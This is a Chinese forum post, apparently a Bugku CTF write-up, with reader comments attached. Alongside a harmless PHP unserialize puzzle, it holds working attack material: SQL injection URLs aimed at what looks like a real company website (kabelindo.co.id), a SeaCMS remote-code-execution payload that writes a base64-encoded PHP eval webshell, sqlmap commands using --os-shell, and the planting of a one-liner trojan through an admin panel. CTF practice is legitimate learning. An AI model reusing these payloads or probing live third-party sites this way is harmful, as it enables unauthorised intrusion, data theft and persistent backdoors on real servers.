$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

一开始,我把反序列化数据,然后按照

s:21:"ISecer:www.isecer.com";

![Alt text](https://i.loli.net/2018/06/17/5b26122f446fb.png)
传了上去,感觉智商再次被侮辱..这个$key变量的值是后面才传入的,所以我们应该传个空的反序列化数据:
![Alt text](https://i.loli.net/2018/06/17/5b261218a6a9c.png)

## 实战2-
打开页面,既然题目说了,那就找,点了一遍,发现一个http://www.kabelindo.co.id/readnews.php?id=18
顺手一个单引号,诶报错了,那就来

http://www.kabelindo.co.id/readnews.php?id=18 order by 5 --+
http://www.kabelindo.co.id/readnews.php?id=18 select 1,2,3,4,5 --+
http://www.kabelindo.co.id/readnews.php?id=18
select 1,version(),database(),4,5 --+
http://www.kabelindo.co.id/readnews.php?id=18
select 1,2,table_name,4,5 from information_schema.tables --+

表名出来了,flag{tbnomax}

## Bugku-cms1
打开页面,往下一拉,Powered by SongCMS v3.13 免费版
日常扫目录,发现一个/data/,打开一看有个sql文件,里面有两个账号密码,分别试了一下,进了后台,找下上传文件的地方
![CukCtJ.jpg](https://s1.ax1x.com/2018/04/18/CukCtJ.jpg)
![CukA6x.jpg](https://s1.ax1x.com/2018/04/18/CukA6x.jpg)
然后上传成功,菜刀一连,flag就在根目录下

## phpcmsV9
照着漏洞来就行了
http://www.freebuf.com/vuls/131648.html

## 海洋cms
个人觉得,这些题考察exp快速搜索能力
参考:https://blog.csdn.net/qq_35078631/article/details/76595817

http://120.24.86.145:8008/search.php?searchtype=5
searchword=d&order=}{end if}{if:1)print_r($_POSTfunc);//}{end if}&func=assert&
cmd=fwrite(fopen("pass.php","w"),base64_decode(PD9waHAgZXZhbCgkX1BPU1Rbc3d4XSk7Pz4))

然后菜刀连接: Alt text

bugku导航

稍微浏览了一下基本页面,顺手吧目录扫描器开启,发现两个登录的地方: 一个是首页用户登录的,放进sqlmap跑了一下,无果。 还有一个地方是后台登录的页面:http://120.24.86.145:9006/admin/login.php# post,burpsuite抓了个包保存到本地,试了一下username参数

python sqlmap.py -r "C:\Users\Passerby\Desktop\CTF\bugku\bugku导航\bp.txt" -p username

![Alt text](https://i.loli.net/2018/06/17/5b26127f136d6.png)
上webshell:

python sqlmap.py -r "C:\Users\Passerby\Desktop\CTF\bugku\bugku导航\bp.txt" -p username --os-shell

但是都上传失败了...没爆出网站路径
不过我爆了一下敏感数据,拿到了后台管理员账号:
Alt text
后台有很多图片上传的地方,不过上传成功后,都会被改名成.png
找到了个添加广告的地方,随便插了一个一句话木马:
Alt text
插入失败了,又是sql...
试试这样:
Alt text
没找到广告插在哪个页面了....
后来,扫了一下备份文件,把他源码下下来了。flag在根目录。

Welcome to my blog:https://www.passer6y.fun/
从哪搬的贴,图片全都崩了
safe6
使用道具 举报 回复
发表于 2018-6-20 12:36:04
Mr_杰先生 发表于 2018-6-20 12:04
从哪搬的贴,图片全都崩了

不会啊,我看到图片都是正常的,你刷新看看
欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
i春秋白帽子军团:451217067
i春秋-韩:556040588
i春秋CTF交流学习群:234714762
使用道具 举报 回复
发表于 2018-6-20 15:03:31
吊吊吊,已经加入收藏不看系列
使用道具 举报 回复
yyyxy 发表于 2018-6-20 12:36
不会啊,我看到图片都是正常的,你刷新看看

被我的Adblock Plus当成广告拦截了
safe6
使用道具 举报 回复
发表于 2018-6-20 16:51:41
Mr_杰先生 发表于 2018-6-20 16:40
被我的Adblock Plus当成广告拦截了

我说呢。。。
欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
i春秋白帽子军团:451217067
i春秋-韩:556040588
i春秋CTF交流学习群:234714762
使用道具 举报 回复
本帖最后由 一颗小小小白菜 于 2018-6-20 23:33 编辑

打CTF.jpg heihei~joking
点赞收藏一气呵成。


使用道具 举报 回复
发表于 2018-6-21 08:50:44
好东西,收藏一下!
做攻防实战安全理论体系建设
http://blog.51cto.com/simeon
安天365技术交流2群: 647359714
使用道具 举报 回复
感谢分享
使用道具 举报 回复
老哥,盲注的那个爆库怎么爆不出来,用你的方式也弄不出来,而且好像第一个还漏了一个“?”,求解答
使用道具 举报 回复
发表于 2018-7-2 22:12:14
好东西,收藏一下!
使用道具 举报 回复
不错,学习了。谢谢
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册